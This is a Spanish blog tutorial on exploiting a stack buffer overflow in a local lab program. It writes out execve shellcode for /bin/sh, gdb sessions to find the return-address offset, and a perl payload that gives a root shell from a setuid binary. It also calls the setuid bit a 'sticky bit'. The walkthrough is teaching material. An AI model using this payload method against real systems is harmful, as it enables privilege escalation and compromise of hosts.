Esta pagina se ve mejor con JavaScript habilitado

Ejecutar shellcode, exploiting parte 2

 ·  🎃 kr0m

En el artículo anterior explicamos la forma mas sencilla de manipular la pila gracias a un error de programación, de este modo conseguiamos que el programa restornase de una función a una dirección de memoria que no era la correcta, pero porque no hacerlo mas interesante y hacer que en esa dirección de memoria haya un código que pueda sernos útil. En nuestro ejemplo se tratará de una shell, de este modo al explotar el bug obtendremos shell con el usuario con el que se estuviese corriendo el software, para hacerlo mas impactante vamos a asignarle el sticky bit de este modo obtendremos shell de root.

Siguiendo con el ejemplo anterior tenemos un software que no comprueba la entrada del usuario, gracias a este error podíamos llegar a sobreescribir el valor del EIP en la pila, al retornar de la función vulnerable terminabamos ejecutando de nuevo la función y realizando dos printfs en pantalla, ahora vamos a utilizar la variable de entrada para dejar en cierta posición de la pila lo que se llama como shellcode, esto es el código útil que nos interesa que se ejecute, dejaremos para mas adelante el modo de generar una shellcode pero aquí podemos encontrar un gran repertorio.

La shellcode elegida es esta:

x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80

Ya tenemos nuestra shellcode y aunque la metamos en la entrada del programa todavía nos queda un problema por resolver, en que dirección de la memoria comienza el ESP que es donde vamos a dejar nuestra shellcode? El valor de ESP no es donde comienza nuestra variable exactamente, si no un valor aproximado,  para averiguarlo con certeza utilizaremos gdb:

gdb overrun

Gdb nos permite visualizar los valores de las direcciones de memoria en todo momento, lo que vamos a hacer es poner un breakpoint justo antes y después de la copia de la variable, así podremos ver nuestra entrada en las direcciones de memoria cercanas al ESP y saber en que dirección comienza la variable, de este modo sobreescribiremos el EIP con ese valor y ejecutará la shellcode al retornar de la función:

(gdb) set disassembly-flavor intel
(gdb) disassemble func
Dump of assembler code for function func:
   0x080484ac <+0>:    push   ebp
   0x080484ad <+1>:    mov    ebp,esp
   0x080484af <+3>:    sub    esp,0x38
   0x080484b2 <+6>:    mov    eax,DWORD PTR [ebp+0x8]
   0x080484b5 <+9>:    mov    DWORD PTR [esp+0x4],eax
   0x080484b9 <+13>:    lea    eax,[ebp-0x28]
   0x080484bc <+16>:    mov    DWORD PTR [esp],eax
   0x080484bf <+19>:    call   0x8048370 <strcpy@plt>
   0x080484c4 <+24>:    lea    eax,[ebp-0x28]
   0x080484c7 <+27>:    mov    DWORD PTR [esp+0x4],eax
   0x080484cb <+31>:    mov    DWORD PTR [esp],0x80485c0
   0x080484d2 <+38>:    call   0x8048360 <printf@plt>
   0x080484d7 <+43>:    leave
   0x080484d8 <+44>:    ret
End of assembler dump.

(gdb) break *func+19
Breakpoint 1 at 0x80484bf

(gdb) break *func+24
Breakpoint 2 at 0x80484c4

(gdb) run `perl -e 'print "A"x48'`
Starting program: /home/kr0m/overrun `perl -e 'print "A"x48'`

Breakpoint 1, 0x080484bf in func ()
(gdb) x/16x $esp
0xbffff700:    0xbffff710    0xbffff93c    0xbffff727    0x00000001
0xbffff710:    0x00000000    0xbffff7b0    0xb7fd6ce0    0x08048334
0xbffff720:    0xb7ff0590    0x080497bc    0xbffff758    0x0804858b
0xbffff730:    0x00000002    0xbffff804    0xbffff758    0x08048519

(gdb) c
Continuing.

Breakpoint 2, 0x080484c4 in func ()

(gdb) x/16x $esp
0xbffff700:    0xbffff710    0xbffff93c    0xbffff727    0x00000001
0xbffff710:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff720:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff730:    0x41414141    0x41414141    0x41414141    0x41414141

Con esto hemos obtenido la dirección de memoria del principio de nuestra variable que es donde queremos almacenar nuestra shellcode.

(gdb) c

Continuing.

 Alfaexploit overrun proof of concept, welcome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) delete breakpoints

(gdb) run `perl -e 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"'`

Starting program: /home/kr0m/overrun `perl -e 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"'`

 Alfaexploit overrun proof of concept, welcome: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x4c4c4c4c in ?? ()

En hexadecimal 4c –> LLLL, buscamos la dirección donde están los datos que sobreescriben el EIP:

(gdb) x/32x $esp-32
0xbffff6f0:    0x45454545    0x46464646    0x47474747    0x48484848
0xbffff700:    0x49494949    0x4a4a4a4a    0x4b4b4b4b    0x4c4c4c4c
0xbffff710:    0x4d4d4d4d    0x4e4e4e4e    0x4f4f4f4f    0x50505050
0xbffff720:    0x51515151    0x52525252    0x53535353    0x54545454
0xbffff730:    0x55555555    0x56565656    0x57575757    0x58585858
0xbffff740:    0x59595959    0x5a5a5a5a    0xb7ffef00    0x080482a1
0xbffff750:    0x00000001    0xbffff790    0xb7fefc16    0xb7fffac0
0xbffff760:    0xb7fe0b58    0xb7fd5ff4    0x00000000    0x00000000

(gdb) x/x 0xbffff70c
0xbffff70c:    0x4c4c4c4c

Es en esta posición de memoria donde debemos dejar el valor de la dirección del inicio de nuesta variable, donde estará nuestra shellcode. Hay 44 chars desde la la AAAA hasta la KKKK, nuestra shellcode ocupa 23 por lo tanto necesitamos 21 de padding: 21+23=44, a continuación la dirección donde esté nuestra shellcode, de este modo cuando retorne ejecutará dicha shellcode.

Si ejecutamos el programa desde el depurador nos ofrecerá una shell pero si lo hacemos desde fuera no, esto es debido a que gdb lo arranca con la ruta completa por lo tanto las variables de entorno son diferentes a cuando se ejecuta desde la ruta relativa, como son distintas ocupan diferentes tamaños y las posiciones de memoria cambian:

(gdb) run `perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x10xf7xffxbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kr0m/overrun `perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x10xf7xffxbf"'`

 Alfaexploit overrun proof of concept, welcome: 1É1À1?
 Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAA÷ÿ¿

process 3544 is executing new program: /bin/dash
$

En cambio desde fuera:

kr0m@reversedbox:~$ ./overrun perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x10xf7xffxbf"'

 Alfaexploit overrun proof of concept, welcome: 1É1À1?
 Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAA÷ÿ¿

Violación de segmento

Para averiguar el valor desde fuera del debugger debemos habilitar los core dumps o seguir este segundo procedimiento utilizando la herramienta externa botox, pero yo prefiero hacerlo con el core:

ulimit -c unlimited

Lanzamos el programa con una entrada justa como para sobreescribir el valor de EIP:

kr0m@reversedbox:~$ ./overrun perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x10xf7xffxbf"'

 Alfaexploit overrun proof of concept, welcome: 1É1À1?
 Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAA÷ÿ¿

Violación de segmento (`core' generado)

Arrancamos el debugger con el core:

kr0m@reversedbox:~$ gdb -q -c core

[New LWP 3554]
Core was generated by `./overrun 1É1À1?
 Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAA÷ÿ¿'.
Program terminated with signal 11, Segmentation fault.
#0 0xbffff710 in ?? ()

Sabemos que cerca del ESP debe de estar nuestra entrada, es en ese punto donde comenzará nuestra shellcode:

(gdb) x/50x $esp-50
0xbffff74e:    0xc9310000    0xd231c031    0x68510bb0    0x68732f2f
0xbffff75e:    0x69622f68    0xcde3896e    0x41414180    0x41414141
0xbffff76e:    0x41414141    0x41414141    0x41414141    0xf7104141
0xbffff77e:    0xf900bfff    0x0590bfff    0x854bb7ff    0x5ff40804
0xbffff78e:    0x8540b7fd    0x00000804    0xf8180000    0xce66bfff
0xbffff79e:    0x0002b7e8    0xf8440000    0xf850bfff    0x0860bfff
0xbffff7ae:    0x6821b7fe    0xffffb7ff    0xeff4ffff    0x82a1b7ff
0xbffff7be:    0x00010804    0xf8000000    0xfc16bfff    0xfac0b7fe
0xbffff7ce:    0x0b58b7ff    0x5ff4b7fe    0x0000b7fd    0x00000000
0xbffff7de:    0xf8180000    0xa167bfff    0xb777c4ae    0x0000eadd
0xbffff7ee:    0x00000000    0x00000000    0x00020000    0x83c00000
0xbffff7fe:    0x00000804    0x59c00000    0xcd8bb7ff    0xeff4b7e8
0xbffff80e:    0x0002b7ff    0x83c00000

Podemos ver nuestra shellcode, obtenemos la dirección exacta con:

(gdb) x/x 0xbffff750
0xbffff750: 0xc031c931

0xbffff750 es la dirección de memoria donde debe apuntar EIP!!

Como comentabamos en la introducción del artículo vamos a ejecutar el software con un usuario regular, asignaremos el stickybit en el software vulnerable, de este modo en el momento de la explotación tendrá permisos de root y la shell que nos ofrecerá será de root ;)

su
chown root:root overrun
chmod 4771 overrun

kr0m@reversedbox:~$ whoami

kr0m
kr0m@reversedbox:~$ id
uid=1000(kr0m) gid=1000(kr0m) grupos=1000(kr0m),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
kr0m@reversedbox:~$ ./overrun perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x50xf7xffxbf"'
 Alfaexploit overrun proof of concept, welcome: 1É1À1?
 Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAAP÷ÿ¿
# whoami
root
# id
uid=1000(kr0m) gid=1000(kr0m) euid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(kr0m)
#

Ya veis como de grave puede ser un error de programación en un demonio que esté corriendo como root, el atacante a partir de ahí sería capaz de hacer lo que quisiese con el SO, troyanizarlo, instalar rootkits….

Si te ha gustado el artículo puedes invitarme a un RedBull aquí